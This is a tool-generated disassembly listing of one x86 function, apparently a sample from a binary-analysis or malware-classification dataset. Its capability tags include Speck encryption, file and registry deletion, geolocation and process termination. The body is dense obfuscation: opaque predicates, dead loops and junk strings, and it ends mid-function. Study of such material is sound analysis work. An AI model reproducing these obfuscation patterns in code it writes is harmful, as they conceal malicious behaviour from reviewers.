Function at 0x10026482
Capabilities:
Authenticate hmac
Check os version
Delete file
Delete registry key
Encrypt data using speck
Get common file path
Get geographical location
Get memory capacity
Get thread local storage value
Query environment variable
Set thread local storage value
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10063073
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
sub esp, 0xe4c
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x60], 0x3ae35568
mov dword [ebp - 0xa8], 0x986d6dbc
mov dword [ebp - 0x378], 1
mov dword [ebp - 0x83c], 0x9a53aa48
mov dword [ebp - 0x698], 0x5b2841c2
mov dword [ebp - 0x50], 0
jmp 0x100264e6
mov eax, dword [ebp - 0x50]
inc eax
mov dword [ebp - 0x50], eax
cmp dword [ebp - 0x50], 3
jge 0x100264fc
mov eax, dword [ebp - 0x50]
mov dword [ebp + eax*4 - 0xc78], 0xc6516eae
jmp 0x100264df
mov dword [ebp - 0x50], 0
jmp 0x1002650c
mov eax, dword [ebp - 0x50]
inc eax
mov dword [ebp - 0x50], eax
cmp dword [ebp - 0x50], 3
jge 0x10026522
mov eax, dword [ebp - 0x50]
mov dword [ebp + eax*4 - 0xe4c], 0xb711a46c
jmp 0x10026505
mov dword [ebp - 0x60], 0
jmp 0x10026532
mov eax, dword [ebp - 0x60]
dec eax
mov dword [ebp - 0x60], eax
cmp dword [ebp - 0x60], 0xfffffffe
jl 0x10026a6b
mov dword [ebp - 0x31c], 0
mov dword [ebp - 0x108], 0xfff9
mov dword [ebp - 0x834], 0x7023
mov dword [ebp - 0x388], 0xfffffff7
push 1
lea ecx, [ebp - 0x980]
call fcn.10004e62
and dword [ebp - 4], 0
mov dword [ebp - 0x3b8], 0x3b350b83
mov dword [ebp - 0x1b4], 0
jmp 0x10026598
mov eax, dword [ebp - 0x1b4]
inc eax
mov dword [ebp - 0x1b4], eax
cmp dword [ebp - 0x1b4], 1
jge 0x100265ba
push dword [ebp - 0x1b4]
lea ecx, [ebp - 0x980]
call fcn.10004f01
mov dword [eax], 0x355901a7
jmp 0x1002658b
mov byte [ebp - 0x9b], 0
movzx eax, byte [ebp - 0x9b]
test eax, eax
je 0x100265e0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetBkColor]
mov eax, dword [ebp - 0x108]
mov dword [ebp - 0xc28], eax
mov eax, 0x167c28ca
test eax, eax
je 0x100265fb
cmp dword [ebp - 0x60], 0
jne 0x1002660a
cmp dword [ebp - 0x60], 0
jne 0x1002660a
and dword [ebp - 0x3bc], 0
jmp 0x10026614
mov dword [ebp - 0x3bc], 1
mov eax, dword [ebp - 0x3bc]
mov dword [ebp - 0xa8], eax
mov eax, dword [ebp - 0x60]
cmp eax, dword [ebp - 0xa8]
jg 0x10026637
mov dword [ebp - 0x7c4], 1
jmp 0x1002663e
and dword [ebp - 0x7c4], 0
push 0xfffffffffffffff7
pop eax
add eax, 0xfffffff9
cmp eax, dword [ebp - 0x31c]
jne 0x10026658
mov dword [ebp - 0x76c], 1
jmp 0x1002665f
and dword [ebp - 0x76c], 0
mov eax, dword [ebp - 0x31c]
sub eax, dword [ebp - 0x76c]
add eax, 0xa306
cmp eax, dword [ebp - 0x108]
jl 0x10026684
mov dword [ebp - 0x774], 1
jmp 0x1002668b
and dword [ebp - 0x774], 0
cmp dword [ebp - 0x774], 0x9973
jge 0x100266a3
mov dword [ebp - 0x768], 1
jmp 0x100266aa
and dword [ebp - 0x768], 0
imul eax, dword [ebp - 0x768], 0xd62a
cmp eax, dword [ebp - 0x108]
jge 0x100266c8
mov dword [ebp - 0x380], 1
jmp 0x100266cf
and dword [ebp - 0x380], 0
mov eax, dword [ebp - 0x380]
sub eax, 0xe4c7
sub eax, dword [ebp - 0x834]
cmp dword [ebp - 0x31c], eax
jle 0x10026a33
mov dword [ebp - 0x75c], 0x47a0ca4d
mov dword [ebp - 0x318], 4
mov eax, dword [ebp - 0x60]
mov dword [ebp - 0xb2c], eax
cmp dword [ebp - 0x108], 0x8c32619c
jne 0x10026721
mov dword [ebp - 0x714], 1
jmp 0x10026728
and dword [ebp - 0x714], 0
mov eax, dword [ebp - 0x714]
mov dword [ebp - 0x378], eax
mov eax, dword [ebp - 0x378]
cmp eax, dword [ebp - 0x388]
jg 0x1002674e
mov dword [ebp - 0x71c], 1
jmp 0x10026755
and dword [ebp - 0x71c], 0
cmp dword [ebp - 0x71c], 0xffffffff
jle 0x1002676a
mov dword [ebp - 0x724], 1
jmp 0x10026771
and dword [ebp - 0x724], 0
imul eax, dword [ebp - 0x724], 0xa543
mov dword [ebp - 0x83c], eax
mov eax, dword [ebp - 0xa8]
add eax, dword [ebp - 0x75c]
cmp eax, 0xfffffffa
je 0x1002679e
mov dword [ebp - 0x844], 1
jmp 0x100267a5
and dword [ebp - 0x844], 0
mov eax, dword [ebp - 0x75c]
mov dword [ebp - 0xbb8], eax
mov eax, dword [ebp - 0x388]
mov dword [ebp - 0xb34], eax
push 0xfffffffffffffffb
pop eax
test eax, eax
je 0x100267d0
mov dword [ebp - 0x588], 1
jmp 0x100267d7
and dword [ebp - 0x588], 0
mov eax, dword [ebp - 0x588]
sub eax, 0x2f0c8c58
mov dword [ebp - 0x390], eax
push 0
lea ecx, [ebp - 0x980]
call fcn.10004f01
mov ecx, dword [ebp - 0x390]
mov dword [eax], ecx
mov eax, dword [ebp - 0xa8]
cmp dword [ebp - 0x390], eax
je 0x10026817
mov dword [ebp - 0x688], 1
jmp 0x1002681e
and dword [ebp - 0x688], 0
cmp dword [ebp - 0x688], 0
jl 0x10026833
mov dword [ebp - 0x398], 1
jmp 0x1002683a
and dword [ebp - 0x398], 0
mov eax, dword [ebp - 0x108]
cmp dword [ebp - 0x398], eax
jg 0x10026854
mov dword [ebp - 0x590], 1
jmp 0x1002685b
and dword [ebp - 0x590], 0
mov eax, dword [ebp - 0xa8]
cmp eax, dword [ebp - 0x590]
je 0x10026875
mov dword [ebp - 0x3a0], 1
jmp 0x1002687c
and dword [ebp - 0x3a0], 0
cmp dword [ebp - 0x3a0], 0x7e55
je 0x10026894
mov dword [ebp - 0x708], 1
jmp 0x1002689b
and dword [ebp - 0x708], 0
mov eax, dword [ebp - 0xa8]
cmp eax, dword [ebp - 0x708]
jne 0x100268b9
push 5
pop eax
test eax, eax
jne 0x100268b9
and dword [ebp - 0x3a8], 0
jmp 0x100268c3
mov dword [ebp - 0x3a8], 1
cmp dword [ebp - 0x3a8], 0xffff
ja 0x100268db
mov dword [ebp - 0x598], 1
jmp 0x100268e2
and dword [ebp - 0x598], 0
cmp dword [ebp - 0x598], 0
jg 0x100268f7
mov dword [ebp - 0x3b0], 1
jmp 0x100268fe
and dword [ebp - 0x3b0], 0
mov eax, dword [ebp - 0x318]
imul eax, dword [ebp - 0x3b0]
cmp eax, 0xffffffff
jge 0x1002691c
mov dword [ebp - 0x690], 1
jmp 0x10026923
and dword [ebp - 0x690], 0
mov eax, dword [ebp - 0x690]
mov dword [ebp - 0x3b8], eax
cmp dword [ebp - 0x3b8], 0x3a3b
jg 0x10026947
mov dword [ebp - 0x5a0], 1
jmp 0x1002694e
and dword [ebp - 0x5a0], 0
mov eax, dword [ebp - 0x60]
cmp dword [ebp - 0x5a0], eax
jge 0x10026965
mov dword [ebp - 0x3c0], 1
jmp 0x1002696c
and dword [ebp - 0x3c0], 0
mov eax, dword [ebp - 0x318]
add eax, dword [ebp - 0x3c0]
je 0x10026996
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0xc78], 0
je 0x10026996
mov dword [ebp - 0x764], 1
jmp 0x1002699d
and dword [ebp - 0x764], 0
cmp dword [ebp - 0x764], 0xfffffff8
je 0x100269b2
mov dword [ebp - 0x3c8], 1
jmp 0x100269b9
and dword [ebp - 0x3c8], 0
mov eax, dword [ebp - 0x3c8]
sub eax, dword [ebp - 0x318]
neg eax
je 0x100269e7
push 0
lea ecx, [ebp - 0x980]
call fcn.10004f01
cmp dword [eax], 0
je 0x100269e7
mov dword [ebp - 0x5a8], 1
jmp 0x100269ee
and dword [ebp - 0x5a8], 0
mov eax, dword [ebp - 0x318]
cmp dword [ebp - 0x5a8], eax
jne 0x10026a0e
mov eax, 0xfb133d7b
test eax, eax
jne 0x10026a0e
and dword [ebp - 0x3d0], 0
jmp 0x10026a18
mov dword [ebp - 0x3d0], 1
mov eax, dword [ebp - 0x3d0]
mov dword [ebp - 0xa8], eax
mov eax, dword [ebp - 0x698]
dec eax
mov dword [ebp - 0x698], eax
jmp 0x10026a57
mov dword [ebp - 0x84c], 0
cmp dword [ebp - 0x84c], 0
je 0x10026a57
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x980]
call fcn.10004ee5
jmp 0x10026a6b
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x980]
call fcn.10004ee5
jmp 0x1002652b
mov dword [ebp - 0x3d8], 0x7356
mov dword [ebp - 0x958], str.ptfiihjih_xdxgpo_qswko_rctd
cmp dword [ebp - 0x3d8], 0x7548
jle 0x10026b9e
and dword [ebp - 0x2d4], 0
jmp 0x10026aa5
mov eax, dword [ebp - 0x2d4]
inc eax
mov dword [ebp - 0x2d4], eax
cmp dword [ebp - 0x2d4], 0x20c8
jge 0x10026b9e
and dword [ebp - 0x314], 0
jmp 0x10026acb
mov eax, dword [ebp - 0x314]
inc eax
mov dword [ebp - 0x314], eax
cmp dword [ebp - 0x314], 0x46f3
jge 0x10026b99
and dword [ebp - 0x15c], 0
jmp 0x10026af1
mov eax, dword [ebp - 0x15c]
inc eax
mov dword [ebp - 0x15c], eax
cmp dword [ebp - 0x15c], 0x4940
jge 0x10026b94
and dword [ebp - 0x25c], 0
jmp 0x10026b17
mov eax, dword [ebp - 0x25c]
inc eax
mov dword [ebp - 0x25c], eax
cmp dword [ebp - 0x25c], 0x3b5b
jge 0x10026b8f
mov eax, dword [ebp - 0x2d4]
imul eax, dword [ebp - 0x314]
cdq
idiv dword [ebp - 0x15c]
mov ecx, dword [ebp - 0x25c]
shl edx, cl
mov eax, edx
cdq
mov dword [ebp - 0x860], eax
mov dword [ebp - 0x85c], edx
push dword [ebp - 0x85c]
push dword [ebp - 0x860]
lea ecx, [ebp - 0xe28]
call fcn.10001a95
pop ecx
pop ecx
mov dword [ebp - 0x854], eax
mov ecx, dword [ebp - 0x854]
call fcn.10004c18
push eax
call fcn.1004af7c
pop ecx
lea ecx, [ebp - 0xe28]
call fcn.10004c0e
jmp 0x10026b0a
jmp 0x10026ae4
jmp 0x10026abe
jmp 0x10026a98
mov dword [ebp - 4], 1
cmp dword [ebp - 0x3d8], 0x72f1
jge 0x10026bbd
push dword [ebp - 0x958]
call fcn.1004af7c
pop ecx
jmp 0x10026bd9
or dword [ebp - 4], 0xffffffff
jmp 0x10026be3
mov dword [ebp - 0xc0], 0xfffffff6
mov dword [ebp - 0x5b0], 0x41fd9d08
mov dword [ebp - 0x164], 0
jmp 0x10026c10
mov eax, dword [ebp - 0x164]
inc eax
mov dword [ebp - 0x164], eax
cmp dword [ebp - 0x164], 2
jge 0x10026c2c
mov eax, dword [ebp - 0x164]
mov dword [ebp + eax*4 - 0x730], 0xf73838a1
jmp 0x10026c03
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x730]
inc eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x730], eax
mov dword [ebp - 0xc0], 0
jmp 0x10026c60
mov eax, dword [ebp - 0xc0]
inc eax
mov dword [ebp - 0xc0], eax
cmp dword [ebp - 0xc0], 1
jg 0x10026e09
mov dword [ebp - 0x968], 0x7d96711d
mov dword [ebp - 0x2dc], 0
jmp 0x10026c90
mov eax, dword [ebp - 0x2dc]
inc eax
mov dword [ebp - 0x2dc], eax
cmp dword [ebp - 0x2dc], 2
jge 0x10026cac
mov eax, dword [ebp - 0x2dc]
mov dword [ebp + eax*4 - 0x73c], 0x80849f84
jmp 0x10026c83
push 4
pop eax
shl eax, 0
mov dword [ebp + eax - 0x73c], 1
jmp 0x10026cda
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x73c]
dec eax
push 4
pop ecx
shl ecx, 0
mov dword [ebp + ecx - 0x73c], eax
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x73c], 0
jl 0x10026e04
mov dword [ebp - 0x16c], 0
jmp 0x10026d07
mov eax, dword [ebp - 0x16c]
inc eax
mov dword [ebp - 0x16c], eax
cmp dword [ebp - 0x16c], 3
jge 0x10026d23
mov eax, dword [ebp - 0x16c]
mov dword [ebp + eax*4 - 0xcc0], 0x3d3b0cf5
jmp 0x10026cfa
mov eax, dword [ebp - 0xc0]
mov eax, dword [ebp + eax*4 - 0x730]
mov dword [ebp - 0xbc0], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x730]
mov dword [ebp - 0xb3c], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x730], 0
je 0x10026d6e
cmp dword [ebp - 0x5b0], 0
je 0x10026d6e
mov dword [ebp - 0x960], 1
jmp 0x10026d75
and dword [ebp - 0x960], 0
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x5b0]
sub ecx, dword [ebp + eax - 0x73c]
cmp ecx, dword [ebp - 0xc0]
je 0x10026d9c
mov dword [ebp - 0x340], 1
jmp 0x10026da3
and dword [ebp - 0x340], 0
push 4
pop eax
shl eax, 1
mov ecx, dword [ebp - 0x340]
mov dword [ebp + eax - 0xcc0], ecx
cmp dword [ebp - 0x340], 0x70e7
jge 0x10026dcd
mov dword [ebp - 0x3e0], 1
jmp 0x10026dd4
and dword [ebp - 0x3e0], 0
imul eax, dword [ebp - 0x3e0], 0
cmp eax, 1
je 0x10026dec
mov dword [ebp - 0x710], 1
jmp 0x10026df3
and dword [ebp - 0x710], 0
mov eax, dword [ebp - 0x710]
mov dword [ebp - 0x968], eax
jmp 0x10026cbf
jmp 0x10026c53
cmp dword [0x1017bf14], 0
jne 0x1002b467
mov dword [ebp - 0x264], 0x6e60b0c
mov dword [ebp - 0x6b0], 0x82ca9683
mov dword [ebp - 0x80], 0
mov dword [ebp - 0x6a0], 4
mov dword [ebp - 0x5c8], 0xfffffffb
mov dword [ebp - 0x110], 4
mov dword [ebp - 0x324], 0xb8e136dc
push 2
lea ecx, [ebp - 0x35c]
call fcn.10004e62
mov dword [ebp - 4], 3
mov dword [ebp - 0x274], 0
mov dword [ebp - 0x5d0], 0
mov dword [ebp - 0x24], 0
jmp 0x10026e91
mov eax, dword [ebp - 0x24]
inc eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 1
jge 0x10026ea7
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x918], 0xfffffff9
jmp 0x10026e8a
mov dword [ebp - 0x24], 0
jmp 0x10026eb7
mov eax, dword [ebp - 0x24]
inc eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 2
jge 0x10026ed3
push dword [ebp - 0x24]
lea ecx, [ebp - 0x35c]
call fcn.10004f01
mov dword [eax], 0xc4365dea
jmp 0x10026eb0
mov dword [ebp - 0x24], 0
jmp 0x10026ee3
mov eax, dword [ebp - 0x24]
inc eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 3
jge 0x10026ef9
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0xb60], 1
jmp 0x10026edc
mov eax, dword [ebp - 0x264]
mov dword [ebp - 0xbcc], eax
mov eax, dword [ebp - 0x264]
mov dword [ebp - 0xb44], eax
mov eax, dword [ebp - 0x274]
dec eax
mov dword [ebp - 0x274], eax
jne 0x10026f91
cmp dword [ebp - 0x6b0], 0x3e2e1665
jge 0x10026f38
mov dword [ebp - 0x3e8], 1
jmp 0x10026f3f
and dword [ebp - 0x3e8], 0
push 1
lea ecx, [ebp - 0x35c]
call fcn.10004f01
mov ecx, dword [ebp - 0x3e8]
cmp ecx, dword [eax]
jne 0x10026f62
mov dword [ebp - 0x5b8], 1
jmp 0x10026f69
and dword [ebp - 0x5b8], 0
push 1
lea ecx, [ebp - 0x35c]
call fcn.10004f01
mov ecx, dword [ebp - 0x5b8]
mov dword [eax], ecx
mov eax, dword [ebp - 0x110]
mov dword [ebp - 0xbd4], eax
cmp dword [ebp - 0x5d0], 0
push 1
lea ecx, [ebp - 0x35c]
call fcn.10004f01
mov eax, dword [ebp - 0x6a0]
mov dword [ebp - 0xb4c], eax
cmp dword [ebp - 0x80], 0
je 0x10026fbc
mov dword [ebp - 0x3f0], 1
jmp 0x10026fc3
and dword [ebp - 0x3f0], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0xb60]
imul eax, dword [ebp - 0x3f0]
cmp dword [ebp - 0x264], eax
jl 0x10026ff1
cmp dword [ebp - 0x6a0], 0
jne 0x10026ff1
and dword [ebp - 0x3f8], 0
jmp 0x10026ffb
mov dword [ebp - 0x3f8], 1
cmp dword [ebp - 0x3f8], 0x1448
je 0x10027013
mov dword [ebp - 0x5c0], 1
jmp 0x1002701a
and dword [ebp - 0x5c0], 0
mov eax, dword [ebp - 0x5c0]
mov dword [ebp - 0x110], eax
mov eax, dword [ebp - 0x110]
cmp eax, dword [ebp - 0x324]
je 0x10027040
mov dword [ebp - 0x400], 1
jmp 0x10027047
and dword [ebp - 0x400], 0
cmp dword [ebp - 0x400], 2
ja 0x10027061
or eax, 0xffffffff
je 0x10027061
mov dword [ebp - 0x970], 1
jmp 0x10027068
and dword [ebp - 0x970], 0
mov eax, dword [ebp - 0x264]
mov dword [ebp - 0xbdc], eax
push 1
lea ecx, [ebp - 0x35c]
call fcn.10004f01
cmp dword [ebp - 0x110], 1
jne 0x10027096
mov dword [ebp - 0x758], 1
jmp 0x1002709d
and dword [ebp - 0x758], 0
mov eax, dword [ebp - 0x80]
cmp dword [ebp - 0x758], eax
jle 0x1002721a
mov byte [ebp - 0xaa], 0
movzx eax, byte [ebp - 0xaa]
test eax, eax
je 0x10027215
mov dword [ebp - 0x408], 0x4c91
mov dword [ebp - 0xa24], str.iapjtfn_cejqtw_zkckbznxk_qdk_vrshgqklc_ebvhx
cmp dword [ebp - 0x408], 0x4e2a
jle 0x100271bb
and dword [ebp - 0x174], 0
jmp 0x100270fc
mov eax, dword [ebp - 0x174]
inc eax
mov dword [ebp - 0x174], eax
cmp dword [ebp - 0x174], 0x384b
jge 0x100271bb
and dword [ebp - 0x2fc], 0
jmp 0x10027122
mov eax, dword [ebp - 0x2fc]
inc eax
mov dword [ebp - 0x2fc], eax
cmp dword [ebp - 0x2fc], 0x3e79
jge 0x100271b6
and dword [ebp - 0x17c], 0
jmp 0x10027148
mov eax, dword [ebp - 0x17c]
inc eax
mov dword [ebp - 0x17c], eax
cmp dword [ebp - 0x17c], 0x1233
jge 0x100271b1
mov eax, dword [ebp - 0x174]
and eax, dword [ebp - 0x2fc]
and eax, dword [ebp - 0x17c]
cdq
mov dword [ebp - 0x86c], eax
mov dword [ebp - 0x868], edx
push dword [ebp - 0x868]
push dword [ebp - 0x86c]
lea ecx, [ebp - 0xd80]
call fcn.10001a95
pop ecx
pop ecx
mov dword [ebp - 0xa28], eax
mov ecx, dword [ebp - 0xa28]
call fcn.10004c18
push eax
call fcn.1004af7c
pop ecx
lea ecx, [ebp - 0xd80]
call fcn.10004c0e
jmp 0x1002713b
jmp 0x10027115
jmp 0x100270ef
push 0x663
push 0x542
push 0
call dword [sym.imp.GDI32.dll_OffsetRgn]
mov byte [ebp - 4], 4
cmp dword [ebp - 0x408], 0x4a03
jge 0x100271e9
push dword [ebp - 0xa24]
call fcn.1004af7c
pop ecx
jmp 0x10027205
mov dword [ebp - 4], 3
jmp 0x10027215
jmp 0x10027558
mov dword [ebp - 0x34c], 0x18a8
mov dword [ebp - 0x410], 0x1916dc91
mov dword [ebp - 0x26c], 0
jmp 0x10027247
mov eax, dword [ebp - 0x26c]
inc eax
mov dword [ebp - 0x26c], eax
cmp dword [ebp - 0x26c], 3
jge 0x10027263
mov eax, dword [ebp - 0x26c]
mov dword [ebp + eax*4 - 0xc9c], 0
jmp 0x1002723a
mov dword [ebp - 0x430], 0x2fe2
mov dword [ebp - 0x82c], str.captzh_kzpkuyd_tsp_fzytgnog_ziudyfhw
cmp dword [ebp - 0x430], 0x3375
jle 0x10027334
and dword [ebp - 0x18c], 0
jmp 0x1002729d
mov eax, dword [ebp - 0x18c]
inc eax
mov dword [ebp - 0x18c], eax
cmp dword [ebp - 0x18c], 0x18fe
jge 0x10027334
and dword [ebp - 0x184], 0
jmp 0x100272c3
mov eax, dword [ebp - 0x184]
inc eax
mov dword [ebp - 0x184], eax
cmp dword [ebp - 0x184], 0x7283
jge 0x1002732f
and dword [ebp - 0x2e4], 0
jmp 0x100272e5
mov eax, dword [ebp - 0x2e4]
inc eax
mov dword [ebp - 0x2e4], eax
cmp dword [ebp - 0x2e4], 0x655
jge 0x1002732d
mov eax, dword [ebp - 0x184]
imul eax, dword [ebp - 0x2e4]
mov ecx, dword [ebp - 0x18c]
sub ecx, eax
mov eax, ecx
cdq
mov dword [ebp - 0x878], eax
mov dword [ebp - 0x874], edx
push dword [ebp - 0x874]
push dword [ebp - 0x878]
mov ecx, 0x1007d9f8
call fcn.10004c38
jmp 0x100272d8
jmp 0x100272b6
jmp 0x10027290
mov dword [ebp - 0x80], 0
jmp 0x10027344
mov eax, dword [ebp - 0x80]
dec eax
mov dword [ebp - 0x80], eax
cmp dword [ebp - 0x80], 0xffffffe5
jg 0x100274f9
mov dword [ebp - 0xd4], 0x485e09b7
mov eax, dword [ebp - 0x34c]
imul eax, dword [ebp - 0x80]
mov dword [ebp - 0x110], eax
push 1
lea ecx, [ebp - 0x35c]
call fcn.10004f01
mov eax, dword [eax]
mov dword [ebp - 0x5c8], eax
mov esi, dword [ebp - 0x5c8]
push 0
lea ecx, [ebp - 0x35c]
call fcn.10004f01
cmp dword [eax], esi
jge 0x100273a0
mov dword [ebp - 0xa18], 1
jmp 0x100273a7
and dword [ebp - 0xa18], 0
mov eax, dword [ebp - 0xd4]
mov dword [ebp - 0xb54], eax
mov eax, dword [ebp - 0xd4]
mov dword [ebp - 0xbe4], eax
mov eax, dword [ebp - 0xd4]
mov dword [ebp - 0xb64], eax
mov eax, dword [ebp - 0x34c]
mov dword [ebp - 0xbec], eax
mov eax, dword [ebp - 0x274]
mov dword [ebp - 0xb74], eax
mov dword [ebp - 0x410], 0xffffffff
cmp dword [ebp - 0x410], 0xffffffff
je 0x10027402
mov dword [ebp - 0x6a8], 1
jmp 0x10027409
and dword [ebp - 0x6a8], 0
mov eax, dword [ebp - 0x6a8]
sub eax, 0x359b564b
cmp eax, 4
jne 0x10027425
mov dword [ebp - 0x418], 1
jmp 0x1002742c
and dword [ebp - 0x418], 0
push 1
lea ecx, [ebp - 0x35c]
call fcn.10004f01
mov ecx, dword [ebp - 0x418]
cmp ecx, dword [eax]
jg 0x1002744f
mov dword [ebp - 0x420], 1
jmp 0x10027456
and dword [ebp - 0x420], 0
mov eax, dword [ebp - 0x5d0]
cmp dword [ebp - 0x420], eax
jge 0x10027470
mov dword [ebp - 0x718], 1
jmp 0x10027477
and dword [ebp - 0x718], 0
mov eax, dword [ebp - 0x34c]
cmp dword [ebp - 0x718], eax
jl 0x10027491
mov dword [ebp - 0x428], 1
jmp 0x10027498
and dword [ebp - 0x428], 0
mov eax, dword [ebp - 0xd4]
imul eax, dword [ebp - 0x428]
mov dword [ebp - 0x324], eax
mov eax, dword [ebp - 0xd4]
cmp eax, dword [ebp - 0x324]
jl 0x100274c5
mov dword [ebp - 0x5d8], 1
jmp 0x100274cc
and dword [ebp - 0x5d8], 0
push 4
pop eax
imul eax, eax, 0
imul ecx, dword [ebp - 0x5d8], 7
imul ecx, dword [ebp - 0xd4]
imul ecx, dword [ebp + eax - 0x918]
push 4
pop eax
shl eax, 1
mov dword [ebp + eax - 0xc9c], ecx
jmp 0x1002733d
mov byte [ebp - 4], 6
cmp dword [ebp - 0x430], 0x2d63
jge 0x10027519
mov edx, dword [ebp - 0x82c]
mov ecx, 0x1007d9f8
call fcn.100070aa
jmp 0x10027535
mov dword [ebp - 4], 3
jmp 0x10027545
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0xb60]
mov dword [ebp - 0x6b0], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x35c]
call fcn.10004ee5
mov dword [ebp - 0x438], 0x13e5
mov dword [ebp - 0xa08], str.assck_ujvdl_xqjodc_phoogmxr_lnpcugdft_oozvz_vvre_reqq_hhyi_orr
cmp dword [ebp - 0x438], 0x153a
jle 0x10027631
and dword [ebp - 0x194], 0
jmp 0x100275a1
mov eax, dword [ebp - 0x194]
inc eax
mov dword [ebp - 0x194], eax
cmp dword [ebp - 0x194], 0x332f
jge 0x10027631
and dword [ebp - 0x30c], 0
jmp 0x100275c7
mov eax, dword [ebp - 0x30c]
inc eax
mov dword [ebp - 0x30c], eax
cmp dword [ebp - 0x30c], 0x6101
jge 0x1002762c
mov eax, dword [ebp - 0x194]
mov ecx, dword [ebp - 0x30c]
sar eax, cl
cdq
mov dword [ebp - 0x884], eax
mov dword [ebp - 0x880], edx
push dword [ebp - 0x880]
push dword [ebp - 0x884]
lea ecx, [ebp - 0xd38]
call fcn.10001a95
pop ecx
pop ecx
mov dword [ebp - 0x7d0], eax
mov ecx, dword [ebp - 0x7d0]
call fcn.10004c18
push eax
call fcn.1004af7c
pop ecx
lea ecx, [ebp - 0xd38]
call fcn.10004c0e
jmp 0x100275ba
jmp 0x10027594
mov dword [ebp - 0x19c], 0
jmp 0x1002764a
mov eax, dword [ebp - 0x19c]
inc eax
mov dword [ebp - 0x19c], eax
cmp dword [ebp - 0x19c], 2
jge 0x10027666
mov eax, dword [ebp - 0x19c]
mov dword [ebp + eax*4 - 0x78c], 0xcff0ea75
jmp 0x1002763d
push 4
pop eax
shl eax, 0
mov dword [ebp + eax - 0x78c], 0xffffffe8
jmp 0x10027694
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x78c]
inc eax
push 4
pop ecx
shl ecx, 0
mov dword [ebp + ecx - 0x78c], eax
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x78c], 0xfffffff3
jge 0x100276c3
mov byte [ebp - 0x9c], 0
movzx eax, byte [ebp - 0x9c]
test eax, eax
je 0x100276c1
push 0xbbc
call dword [sym.imp.KERNEL32.dll_ExitProcess]
jmp 0x10027679
mov dword [ebp - 4], 8
cmp dword [ebp - 0x438], 0x107d
jge 0x100276e2
push dword [ebp - 0xa08]
call fcn.1004af7c
pop ecx
jmp 0x100276fe
or dword [ebp - 4], 0xffffffff
jmp 0x10027708
mov dword [ebp - 0x27c], 0xfffffffe
mov dword [ebp - 0x448], 0xe34b64b5
push 3
lea ecx, [ebp - 0x7b0]
call fcn.10004e62
mov dword [ebp - 4], 0xa
mov dword [ebp - 0xf0], 0x6eed1e12
mov dword [ebp - 0x350], 0x4a6e8f59
mov dword [ebp - 0x344], 0
mov dword [ebp - 0x32c], 0x467bb1a8
mov dword [ebp - 0x2c], 0
jmp 0x10027768
mov eax, dword [ebp - 0x2c]
inc eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 4
jge 0x1002777e
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0xcd0], 0xffff
jmp 0x10027761
mov dword [ebp - 0x2c], 0
jmp 0x1002778e
mov eax, dword [ebp - 0x2c]
inc eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 3
jge 0x100277aa
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x7b0]
call fcn.10004f01
mov dword [eax], 4
jmp 0x10027787
mov dword [ebp - 0x2c], 0
jmp 0x100277ba
mov eax, dword [ebp - 0x2c]
inc eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 3
jge 0x100277d0
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0xc84], 0x62b50098
jmp 0x100277b3
mov eax, dword [ebp - 0xf0]
dec eax
mov dword [ebp - 0xf0], eax
jne 0x1002789b
cmp dword [ebp - 0xf0], 0
jne 0x1002789b
push 2
lea ecx, [ebp - 0x7b0]
call fcn.10004f01
cmp dword [eax], 0
jne 0x10027814
cmp dword [ebp - 0x27c], 0
jne 0x10027814
and dword [ebp - 0x5e0], 0
jmp 0x1002781e
mov dword [ebp - 0x5e0], 1
mov eax, dword [ebp - 0x5e0]
mov dword [ebp - 0x350], eax
mov eax, dword [ebp - 0x350]
mov dword [ebp - 0xbf4], eax
push 2
lea ecx, [ebp - 0x7b0]
call fcn.10004f01
mov eax, dword [ebp - 0x344]
cmp eax, dword [ebp - 0xf0]
jge 0x1002785d
mov dword [ebp - 0x440], 1
jmp 0x10027864
and dword [ebp - 0x440], 0
push 2
lea ecx, [ebp - 0x7b0]
call fcn.10004f01
mov eax, dword [ebp - 0x440]
mov dword [ebp - 0x32c], eax
mov eax, dword [ebp - 0x32c]
mov dword [ebp - 0xb84], eax
cmp dword [ebp - 0x350], 0
jne 0x1002789b
and dword [ebp - 0x778], 0
jmp 0x100278a5
mov dword [ebp - 0x778], 1
mov eax, dword [ebp - 0x27c]
mov dword [ebp - 0x448], eax
imul eax, dword [ebp - 0x778], 0xffffffff
mov dword [ebp - 0x5e8], eax
push 2
lea ecx, [ebp - 0x7b0]
call fcn.10004f01
mov ecx, dword [ebp - 0x5e8]
mov dword [eax], ecx
mov eax, dword [ebp - 0x448]
mov ecx, dword [ebp - 0x5e8]
